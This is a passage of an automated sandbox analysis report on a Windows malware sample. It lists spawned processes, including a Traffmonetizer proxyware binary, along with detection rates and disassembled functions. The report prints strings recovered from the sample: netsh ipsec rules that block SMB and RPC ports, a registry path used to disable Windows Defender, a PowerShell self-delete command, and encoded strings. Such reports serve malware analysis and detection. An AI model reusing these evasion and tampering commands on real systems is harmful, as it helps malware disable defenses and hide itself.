Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 65%, ReversingLabs Detection: 61%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	08:10:57
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	08:11:08
Start date:	06/07/2024
Path:	C:\Windows\Microsoft.NET\Meson.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Meson.exe
Imagebase:	0x640000
File size:	9'380'352 bytes
MD5 hash:	87C8B215C031443D630DA6C18088F89A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 1%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	08:11:09
Start date:	06/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	08:11:19
Start date:	06/07/2024
Path:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe
Imagebase:	0x2732a6a0000
File size:	696'960 bytes
MD5 hash:	2884FDEAA62F29861CE2645DDE0040F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	08:11:20
Start date:	06/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.6%
Total number of Nodes:	605
Total number of Limit Nodes:	62

Executed Functions

Function 0040256C Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 578
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,00448F57,00448F57,00000001,F0000000), ref: 004025DF
CryptAcquireContextA.ADVAPI32(00000000,00448F57,00448F57,00000001,00000000), ref: 0040262D
CryptCreateHash.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 0040267F
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 004026BD

Strings

0123456789ABCDEF, xrefs: 00402906

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: 69ce176fbbeb9d47449985854ee18e80370adcb04c8c1434a1cc0ac298dcb474
Instruction ID: 9c86139810e59d39383e797ef527a12b5cb1fe15cfcc8a76734e807e97351046
Opcode Fuzzy Hash: 69ce176fbbeb9d47449985854ee18e80370adcb04c8c1434a1cc0ac298dcb474
Instruction Fuzzy Hash: B41288B1E40308BBDB10AFA1ED86B9E7B74EF04704F54443AF605BA2C1E7B95924CB59

Function 00408AE6 Relevance: 7.7, APIs: 5, Instructions: 184
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00408B18
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 00408B5B
ChangeServiceConfigA.ADVAPI32(00000000,FFFFFFFF,?,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 00408C7E
CloseServiceHandle.ADVAPI32(00000000), ref: 00408D13
CloseServiceHandle.ADVAPI32(00000000), ref: 00408D3F

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfigManager
String ID:
API String ID: 3054356760-0
Opcode ID: 166726ed208fbf2257e20901c179d169bb906e5099f6675f1be283da886f44f2
Instruction ID: b60cf85a11f4f0ffc4c6906d90ba49ea841bc3797c0690fa9b6d5471ce82c977
Opcode Fuzzy Hash: 166726ed208fbf2257e20901c179d169bb906e5099f6675f1be283da886f44f2
Instruction Fuzzy Hash: FE513671E40304BBEB10AFA19D87FAE7A70AB18704F144439FB147E2C2E7BA65108B59

Function 0040E6C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(0040EBDD,00000001), ref: 0040E6C9
RtlAllocateHeap.NTDLL(005E0000,00000000,00000001), ref: 0040E6DD
MessageBoxA.USER32(00000000,004657F0,error,00000010), ref: 0040E6F6

Strings

error, xrefs: 0040E6EB

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 04189c0be423c88a3b801b2a8760848843680f3e754c2f408ffa9968b05a6a42
Instruction ID: adbcf641bdc39a256e05a68effc49ecff6988a36a035838ad46a61ed3a30cd17
Opcode Fuzzy Hash: 04189c0be423c88a3b801b2a8760848843680f3e754c2f408ffa9968b05a6a42
Instruction Fuzzy Hash: 96E0D871B40311BBEA305F61BC0DB573668AB15B02F400C35F501E2380FAB9DC108B5E

Function 00421AE2 Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,?,?,00421ADD), ref: 00421B59
GetProcessVersion.KERNELBASE(00000000,?,?,?,00421ADD), ref: 00421B96
LoadCursorA.USER32(00000000,00007F02), ref: 00421BC4
LoadCursorA.USER32(00000000,00007F00), ref: 00421BCF

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: 75c4e6b425b187547d08be2a5f22064a2bfb1b83d9c0ee43f5d2f2943f8f8b02
Instruction ID: c9c31ac3e7785d994873ce4c263d616fa0e4529dc20f6533d9300746ff201abd
Opcode Fuzzy Hash: 75c4e6b425b187547d08be2a5f22064a2bfb1b83d9c0ee43f5d2f2943f8f8b02
Instruction Fuzzy Hash: 3A11BFB0A007509FD724DF3A888452ABBE4FB487057400D3FE18BC6B50E778A4428B54

Function 0040111E Relevance: 48.4, APIs: 2, Strings: 25, Instructions: 1146COMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 0040173C

Part of subcall function 0040EFC0: GetStartupInfoA.KERNEL32 ref: 0040EFD2

Part of subcall function 0040EFC0: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 0040F051
Part of subcall function 0040EFC0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0040F06A
Part of subcall function 0040EFC0: CloseHandle.KERNEL32(?), ref: 0040F07B
Part of subcall function 0040EFC0: CloseHandle.KERNEL32(?), ref: 0040F082

Part of subcall function 0040F0B0: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0040F0C2

Part of subcall function 0040F140: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 0040F158

MoveFileExA.KERNEL32(00000001,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 00401D71

Strings

netsh ipsec static add filterlist name=Filter1, xrefs: 00401B90
SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware, xrefs: 00401ABF
WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del ", xrefs: 00401E05
netsh ipsec static add filteraction name=FilteraAtion1 action=block, xrefs: 00401C68
4375597D607562637F7E71647540627966797C757775B24B112A4, xrefs: 00401450
netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1, xrefs: 00401C9E
4375516574796440627966797C757775B24B112A4, xrefs: 004014C1
437543786564747F677E40627966797C757775B24B112A4, xrefs: 00401685
cmd.exe, xrefs: 004016F7
532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4, xrefs: 004011EA
43755C7F717454627966756240627966797C757775B24B112A4, xrefs: 00401614
@, xrefs: 004011BF
netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP, xrefs: 00401C32
437551636379777E4062797D716269447F7B757E40627966797C757775B24B112A4, xrefs: 004015A3
netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP, xrefs: 00401BC6
585B55494F5C5F53515C4F5D515358595E554C43494344555D4C53656262757E64537F7E64627F7C4375644C43756266797375634C43607F7F7C7562B24B112A4, xrefs: 004012CC
43755378717E77755E7F6479766940627966797C757775B24B112A4, xrefs: 00401532
netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP, xrefs: 00401BFC
532A4C47797E747F67634C5C7F7763B24B112A4, xrefs: 0040125B
437544737240627966797C757775B24B112A4, xrefs: 004013DF
netsh ipsec static add policy name=Block, xrefs: 00401B5A
LanmanServer, xrefs: 00401AE7, 00401B11
427561657962757440627966797C75777563B24B112A4, xrefs: 0040133D
netsh ipsec static set policy name=Block assign=y, xrefs: 00401CD4
Spooler, xrefs: 00401978, 004019B4, 004019DE

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: File$CloseHandleModuleName$AdminCreateInfoMoveObjectProcessSingleStartupUserWait
String ID: @$427561657962757440627966797C75777563B24B112A4$437543786564747F677E40627966797C757775B24B112A4$437544737240627966797C757775B24B112A4$437551636379777E4062797D716269447F7B757E40627966797C757775B24B112A4$4375516574796440627966797C757775B24B112A4$43755378717E77755E7F6479766940627966797C757775B24B112A4$4375597D607562637F7E71647540627966797C757775B24B112A4$43755C7F717454627966756240627966797C757775B24B112A4$532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4$532A4C47797E747F67634C5C7F7763B24B112A4$585B55494F5C5F53515C4F5D515358595E554C43494344555D4C53656262757E64537F7E64627F7C4375644C43756266797375634C43607F7F7C7562B24B112A4$LanmanServer$SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware$Spooler$WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "$cmd.exe$netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP$netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP$netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP$netsh ipsec static add filteraction name=FilteraAtion1 action=block$netsh ipsec static add filterlist name=Filter1$netsh ipsec static add policy name=Block$netsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion1$netsh ipsec static set policy name=Block assign=y
API String ID: 3087965049-528816399
Opcode ID: eea3c46cdf5226cffaec3f4c9efc920f295675891205a4c558f58185c7dae42b
Instruction ID: 6d472587fba7569d3b69bbe43c75a250630ecc1a7c36df9586c27feae59ee28a
Opcode Fuzzy Hash: eea3c46cdf5226cffaec3f4c9efc920f295675891205a4c558f58185c7dae42b
Instruction Fuzzy Hash: 8F8205B1F40304ABEB10DAD6DCC2F9E7AB89F14704F14043AFB05BB2D2E67969158B59

Function 00420D1D Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00420D2C
GlobalAlloc.KERNELBASE(00002002,?,?,?,?,?,004210B8,?,00000000,004214C2,00420A85,004214DE,0041BFE8,0041FB02,?,00000000), ref: 00420D81
GlobalHandle.KERNEL32(?), ref: 00420D8A
GlobalUnWire.KERNEL32(00000000), ref: 00420D93
GlobalReAlloc.KERNEL32(00000000,?,00002002), ref: 00420DA5
GlobalHandle.KERNEL32(?), ref: 00420DBC
GlobalFix.KERNEL32(00000000), ref: 00420DC3
RtlLeaveCriticalSection.NTDLL(00412982), ref: 00420DC9
GlobalFix.KERNEL32(00000000), ref: 00420DD8
RtlLeaveCriticalSection.NTDLL(?), ref: 00420E21

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeave$EnterWire
String ID:
API String ID: 1877740037-0
Opcode ID: 9dbb7c4415c3474d8be321cba8ea6543f7d911c790e3bf110ce809d37fa2fc3c
Instruction ID: 44b1f00970224cbf2015aeed002862bcce809113fe339ba1bbe1de21836196b0
Opcode Fuzzy Hash: 9dbb7c4415c3474d8be321cba8ea6543f7d911c790e3bf110ce809d37fa2fc3c
Instruction Fuzzy Hash: 8831CE713003059FD7349F68EC8AA2AB7F9FB44305B40092EF892C3662E779F9558B14

Function 00403FFE Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 287
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyA.ADVAPI32(80000005,?,00000000), ref: 004042A2
RegOpenKeyA.ADVAPI32(80000005,?,00000000), ref: 0040436E

Strings

HKEY_LOCAL_MACHINE, xrefs: 00404163
HKEY_CURRENT_CONFIG, xrefs: 004041C0
HKEY_CLASSES_ROOT, xrefs: 00404119
HKEY_CURRENT_USER, xrefs: 0040413E
HKEY_USERS, xrefs: 00404188

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID: HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS
API String ID: 436179556-3507829934
Opcode ID: b0f8d3e7947f4184df602c0e0c637ed3d63ffb2291959728bcce8265469c1212
Instruction ID: 4e574c411dc3fac3cbe2f53eb04c47c3c3d76435389fc6eb8c7da37e897377fb
Opcode Fuzzy Hash: b0f8d3e7947f4184df602c0e0c637ed3d63ffb2291959728bcce8265469c1212
Instruction Fuzzy Hash: CFA143B0E00209BBFF109F91DC85BAE7B74EB54714F10447AFB04BA2C2E7795A648B59

Function 0040EFC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 0040EFD2
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 0040F051
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0040F06A
CloseHandle.KERNEL32(?), ref: 0040F07B
CloseHandle.KERNEL32(?), ref: 0040F082

Strings

D, xrefs: 0040EFCA

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: 73cce5e0e7abd79d009716df8ef4891693fe69f812f4caacee915c4dabc97f57
Instruction ID: 86da754cd35dcd0bd755e960a478c37394575309c36b670577f2261e6c4186c2
Opcode Fuzzy Hash: 73cce5e0e7abd79d009716df8ef4891693fe69f812f4caacee915c4dabc97f57
Instruction Fuzzy Hash: 7C211D745083419AC230DB19C89496BFBF8EFC5794F50493EF59192260D77A884B8B5B

Function 0040EDF0 Relevance: 7.6, APIs: 5, Instructions: 150
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ftol.LIBCMT ref: 0040EE9A
__ftol.LIBCMT ref: 0040EEB2
RegCreateKeyExA.KERNELBASE(?,?,00000000,00000000,00000000,00020006,00000000,?,00000000,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000), ref: 0040EF6A
RegSetValueExA.KERNELBASE(?,00000000,00000000,?,?,00000004,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000,80000004,00000001,00000000), ref: 0040EF83
RegCloseKey.KERNELBASE(?,?,?,?,?,000006A4,SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware,00000000,80000004,00000001,00000000,80000301), ref: 0040EF9A

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: __ftol$CloseCreateValue
String ID:
API String ID: 2774032030-0
Opcode ID: 11a0e6fe8acdbf14d5114121493b2cdf4b77fd67fb43bab8b6c44484ffe782ef
Instruction ID: 7f015d4a3cef0af399303793281ca9e36cba382030297f9dff9b64f3b88a412b
Opcode Fuzzy Hash: 11a0e6fe8acdbf14d5114121493b2cdf4b77fd67fb43bab8b6c44484ffe782ef
Instruction Fuzzy Hash: 3741F670248305AFD3209F26C88475BB7E4EB84754F244C2EFA48A7391D67DDC55CB9A

Function 00420CC6 Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE(00000000,?,?,004211D3,00000000,00000001), ref: 00420CD2
GlobalHandle.KERNEL32(?), ref: 00420CFA
GlobalUnWire.KERNEL32(00000000), ref: 00420D03
GlobalFree.KERNEL32(00000000), ref: 00420D0A
RtlDeleteCriticalSection.NTDLL(?), ref: 00420D14

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Global$Free$CriticalDeleteHandleSectionWire
String ID:
API String ID: 1964465133-0
Opcode ID: c4d4def6089a43746486a1a4566226de2c9ef2c4d0a722cb39db7a7fe47a6a0c
Instruction ID: 668ef328219954ec418e5ef795e27363ce3b1faf9c0da04976f3341ed7b73403
Opcode Fuzzy Hash: c4d4def6089a43746486a1a4566226de2c9ef2c4d0a722cb39db7a7fe47a6a0c
Instruction Fuzzy Hash: 5AF054713002205BC7315F29AC0CA7BB6FDAF85716795051AF801D3252CF69DD128668

Function 0040399A Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

73CD33E0.WINSPOOL.DRV(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403B92

Strings

532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4, xrefs: 004039FC
43494344555D4C53656262757E64537F7E64627F7C4375644C537F7E64627F7C4C4062797E644C5D7F7E79647F62634C42657E547C7C5568754C546279667562B24B112A4, xrefs: 00403A6D
RunDllExe, xrefs: 00403ABF, 00403AC4

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID: 43494344555D4C53656262757E64537F7E64627F7C4375644C537F7E64627F7C4C4062797E644C5D7F7E79647F62634C42657E547C7C5568754C546279667562B24B112A4$532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4$RunDllExe
API String ID: 0-438707016
Opcode ID: d6f6449d3255ff02cd7d8383e7151adc1093c51f751d1886386eb7143d76ac72
Instruction ID: 40a80584b97013a32cf0626a6b2d061b593775ec00d9a11b84803ec88d01a1c3
Opcode Fuzzy Hash: d6f6449d3255ff02cd7d8383e7151adc1093c51f751d1886386eb7143d76ac72
Instruction Fuzzy Hash: 3D81E9B5F003055BEB10DE959CC1B5F7BB89B18708F14087AEA05BB383E7796A148B65

Function 004089E2 Relevance: 6.1, APIs: 4, Instructions: 73
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST(00000000,00000000,80000000), ref: 00408A0D
OpenServiceA.ADVAPI32(00000000,?,80000000), ref: 00408A50
CloseServiceHandle.SECHOST(00000000), ref: 00408A7F
CloseServiceHandle.ADVAPI32(00000000), ref: 00408AAB

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$Manager
String ID:
API String ID: 4196757001-0
